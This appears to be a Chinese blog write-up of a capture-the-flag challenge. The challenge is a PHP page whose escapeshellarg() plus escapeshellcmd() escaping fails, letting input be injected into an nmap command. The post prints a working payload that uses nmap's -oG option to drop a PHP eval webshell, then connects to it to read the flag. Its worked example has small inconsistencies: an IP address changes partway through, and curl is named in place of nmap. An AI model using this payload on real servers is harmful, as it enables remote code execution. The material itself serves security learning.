2018 online tool

本文揭示了PHP中escapeshellarg()和escapeshellcmd()组合使用的潜在漏洞,通过实例解释了如何利用nmap命令执行恶意代码,最终导致文件权限滥用。通过学习者的故事展示了面对难题时的思考过程。
摘要由CSDN通过智能技术生成
<?php
​
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
​
if(!isset($_GET['host'])) {
  highlight_file(__FILE__);
} else {
  $host = $_GET['host'];
  $host = escapeshellarg($host);
  $host = escapeshellcmd($host);
  $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
  echo 'you are in sandbox '.$sandbox;
  @mkdir($sandbox);
  chdir($sandbox);
  echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

PHP escapeshellarg()+escapeshellcmd()

两个函数都是安全函数,但放在一起却产生了漏洞

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$\,\x0A\xFF'"仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%!` 字符都会被空格代替。

两个函数的产生漏洞的具体情况可看大佬的PHP escapeshellarg()+escapeshellcmd() 之殇这篇文章

chdir函数:

新建一个目录

回到题目

传入172.17.0.2' -v -d a=1

经过escapeshellarg()函数的处理

'127.0.0.1'' '-v -d a=1'

转义单引,并将两个部分用引号包裹起来,起连接作用

再经过escapeshellcmd()函数处理

'127.0.0.1'\' '-v -d a=1'

可简化为curl 127.0.0.1\ -v -d a=1'

最后利用nmap命令中的og参数,写入一句话木马

?host='<?php @eval($_POST["a"]);?> -oG 1.php '

传入会返回文件夹名

蚁剑连接获得flag

 

刚看到题,准备放弃来着,杨师傅提醒给我讲过这个地方,细细一看发现果然是这样,看到难题还是要思考一下,不要直接放弃

最后,非常感谢杨师傅的倾情讲解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值